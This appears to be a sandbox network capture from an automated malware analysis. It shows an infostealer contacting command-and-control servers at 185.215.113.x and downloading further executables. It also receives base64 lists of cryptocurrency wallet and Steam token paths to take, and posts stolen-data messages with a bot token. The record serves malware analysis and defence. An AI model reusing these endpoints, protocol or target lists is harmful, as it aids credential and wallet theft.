00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Dec 9, 2024 20:27:38.467119932 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 9, 2024 20:27:38.909034014 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:27:38 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Dec 9, 2024 20:27:39.462188959 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JECGIIIDAKJDHJKFHIEB Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 20:27:40.592168093 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:27:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 9, 2024 20:27:40.665026903 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGHJKFHJJJKJJJJKEHCB Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 65 34 65 64 66 36 39 34 62 39 32 30 62 31 30 65 34 30 64 65 38 61 66 30 37 63 62 65 38 38 35 33 38 36 34 62 38 36 61 64 66 63 36 34 33 31 64 35 66 39 30 30 30 30 32 61 61 35 35 36 35 62 31 65 39 38 32 33 33 33 66 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 42 2d 2d 0d 0a Data Ascii: ------EGHJKFHJJJKJJJJKEHCBContent-Disposition: form-data; name="token"ce4edf694b920b10e40de8af07cbe8853864b86adfc6431d5f900002aa5565b1e982333f------EGHJKFHJJJKJJJJKEHCBContent-Disposition: form-data; name="message"wallets------EGHJKFHJJJKJJJJKEHCB--
Dec 9, 2024 20:27:41.109464884 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:27:40 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Dec 9, 2024 20:27:41.304904938 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAEHJEBKFCAKKFIEHDBF Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 45 48 4a 45 42 4b 46 43 41 4b 4b 46 49 45 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 65 34 65 64 66 36 39 34 62 39 32 30 62 31 30 65 34 30 64 65 38 61 66 30 37 63 62 65 38 38 35 33 38 36 34 62 38 36 61 64 66 63 36 34 33 31 64 35 66 39 30 30 30 30 32 61 61 35 35 36 35 62 31 65 39 38 32 33 33 33 66 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 4a 45 42 4b 46 43 41 4b 4b 46 49 45 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 4a 45 42 4b 46 43 41 4b 4b 46 49 45 48 44 42 46 2d 2d 0d 0a Data Ascii: ------CAEHJEBKFCAKKFIEHDBFContent-Disposition: form-data; name="token"ce4edf694b920b10e40de8af07cbe8853864b86adfc6431d5f900002aa5565b1e982333f------CAEHJEBKFCAKKFIEHDBFContent-Disposition: form-data; name="message"files------CAEHJEBKFCAKKFIEHDBF--
Dec 9, 2024 20:27:41.748358965 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:27:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 9, 2024 20:27:41.762701035 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKEHDGDGHCBGCAKFIIIE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 65 34 65 64 66 36 39 34 62 39 32 30 62 31 30 65 34 30 64 65 38 61 66 30 37 63 62 65 38 38 35 33 38 36 34 62 38 36 61 64 66 63 36 34 33 31 64 35 66 39 30 30 30 30 32 61 61 35 35 36 35 62 31 65 39 38 32 33 33 33 66 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BKEHDGDGHCBGCAKFIIIEContent-Disposition: form-data; name="token"ce4edf694b920b10e40de8af07cbe8853864b86adfc6431d5f900002aa5565b1e982333f------BKEHDGDGHCBGCAKFIIIEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BKEHDGDGHCBGCAKFIIIEContent-Disposition: form-data; name="file"------BKEHDGDGHCBGCAKFIIIE--
Dec 9, 2024 20:27:42.705246925 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:27:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 9, 2024 20:27:42.707753897 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIDHDGCBFBKECBFHCAF Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 65 34 65 64 66 36 39 34 62 39 32 30 62 31 30 65 34 30 64 65 38 61 66 30 37 63 62 65 38 38 35 33 38 36 34 62 38 36 61 64 66 63 36 34 33 31 64 35 66 39 30 30 30 30 32 61 61 35 35 36 35 62 31 65 39 38 32 33 33 33 66 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 2d 2d 0d 0a Data Ascii: ------EGIDHDGCBFBKECBFHCAFContent-Disposition: form-data; name="token"ce4edf694b920b10e40de8af07cbe8853864b86adfc6431d5f900002aa5565b1e982333f------EGIDHDGCBFBKECBFHCAFContent-Disposition: form-data; name="message"ybncbhylepme------EGIDHDGCBFBKECBFHCAF--
Dec 9, 2024 20:27:43.151582956 CET	271	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:27:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49766	185.215.113.16	80	7328	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:27:43.275480032 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Dec 9, 2024 20:27:44.625109911 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:27:44 GMT Content-Type: application/octet-stream Content-Length: 3230720 Last-Modified: Mon, 09 Dec 2024 19:02:34 GMT Connection: keep-alive ETag: "67573eca-314c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 50 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfP1@1o2@Wk=1t=1 @.rsrc@.idata @azhnnvna*@slqbrtle@1$1@.taggant0P1"1@
Dec 9, 2024 20:27:44.625152111 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 20:27:44.626589060 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 20:27:44.626662016 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 20:27:44.626676083 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 20:27:44.626787901 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 20:27:44.626801968 CET	148	IN	Data Raw: d1 ce 09 bf e9 e7 47 d7 5e 20 df 98 15 4c 02 c4 16 64 1d 87 d2 a8 05 3f 84 26 04 d7 3e 25 c1 23 d1 ce 09 bf e1 e7 47 d7 5e 90 d5 98 15 4c a2 c3 16 64 1d e7 cf a8 05 3f 24 26 04 d7 3e 25 c1 23 d1 ce 09 bf 59 e7 47 d7 5e 68 d4 98 15 4c c2 c3 16 64 Data Ascii: G^ Ld?&>%#G^Ld?$&>%#YG^hLd?D&>%#QG^Lbd'?&>%#IG^xLd
Dec 9, 2024 20:27:44.627639055 CET	1236	IN	Data Raw: d1 a8 05 3f 04 26 04 d7 3e 25 c1 23 d1 ce 09 bf 41 e7 47 d7 5e c0 d6 98 15 4c 22 c3 16 64 1d 67 d0 a8 05 3f a4 23 04 d7 3e 25 c1 23 d1 ce 09 bf 39 e7 47 d7 5e b8 e2 98 15 4c 42 c3 16 64 1d 47 d0 a8 05 3f c4 23 04 d7 3e 25 c1 23 d1 ce 09 bf 31 e7 Data Ascii: ?&>%#AG^L"dg?#>%#9G^LBdG?#>%#1G^ Ld?d#>%#)G^HLd?#>%#!G^Ld?$#>%#G^Ld?D#>%#G^\Lbd'?#>%#G
Dec 9, 2024 20:27:44.627702951 CET	1236	IN	Data Raw: 5e b8 e1 98 15 4c 62 ba 16 64 1d 27 c2 a8 05 3f e4 1f 04 d7 3e 25 c1 23 d1 ce fd be ed e9 47 d7 5e 88 d7 98 15 4c 82 ba 16 64 1d 07 c0 a8 05 3f 04 1f 04 d7 3e 25 c1 23 d1 ce f9 be e9 e9 47 d7 5e 30 e2 98 15 4c 22 ba 16 64 1d 67 bf a8 05 3f a4 20 Data Ascii: ^Lbd'?>%#G^Ld?>%#G^0L"dg? >%#QG^LBdG? >%#=G^Ld?d >%#%G^Ld? >%#G^Ld?$ >%#G^Ld?D
Dec 9, 2024 20:27:44.627717972 CET	248	IN	Data Raw: 3e 25 c1 23 d1 ce fd be 81 ed 47 d7 5e 80 de 98 15 4c c2 b5 16 64 1d c7 b1 a8 05 3f 44 1c 04 d7 3e 25 c1 23 d1 ce fd be 6d ed 47 d7 5e 58 e3 98 15 4c 62 b5 16 64 1d 27 b1 a8 05 3f e4 1c 04 d7 3e 25 c1 23 d1 ce f5 be 69 ed 47 d7 5e 80 d4 98 15 4c Data Ascii: >%#G^Ld?D>%#mG^XLbd'?>%#iG^Ld?>%#G^L"dg?>%#G^LBdG?>%#G^Ld?d>%#G^Ld?>%#G^L
Dec 9, 2024 20:27:44.744666100 CET	1236	IN	Data Raw: b0 a8 05 3f 24 19 04 d7 3e 25 c1 23 d1 ce e5 be 05 f0 47 d7 5e 08 d6 98 15 4c c2 b8 16 64 1d c7 b0 a8 05 3f 44 19 04 d7 3e 25 c1 23 d1 ce 01 bf e9 f0 47 d7 5e 50 e0 98 15 4c 62 b8 16 64 1d 27 b0 a8 05 3f e4 19 04 d7 3e 25 c1 23 d1 ce 01 bf 59 f0 Data Ascii: ?$>%#G^Ld?D>%#G^PLbd'?>%#YG^Ld?>%#IG^pL"dg?>%#5G^LBdG?>%#G^Ld?d>%#eG^0Ld?>%#]G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49769	185.215.113.206	80	7328	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:27:50.377908945 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKFHIIEHIEGDHJJJKFII Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 65 34 65 64 66 36 39 34 62 39 32 30 62 31 30 65 34 30 64 65 38 61 66 30 37 63 62 65 38 38 35 33 38 36 34 62 38 36 61 64 66 63 36 34 33 31 64 35 66 39 30 30 30 30 32 61 61 35 35 36 35 62 31 65 39 38 32 33 33 33 66 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 49 2d 2d 0d 0a Data Ascii: ------JKFHIIEHIEGDHJJJKFIIContent-Disposition: form-data; name="token"ce4edf694b920b10e40de8af07cbe8853864b86adfc6431d5f900002aa5565b1e982333f------JKFHIIEHIEGDHJJJKFIIContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JKFHIIEHIEGDHJJJKFII--
Dec 9, 2024 20:27:52.213040113 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:27:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49786	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:28:04.812817097 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:28:06.143531084 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:28:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49792	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:28:07.796966076 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:28:09.149424076 CET	660	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:28:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 64 35 0d 0a 20 3c 63 3e 31 30 31 33 35 30 34 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 62 35 30 35 39 62 62 30 31 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 33 35 30 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 31 33 35 30 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 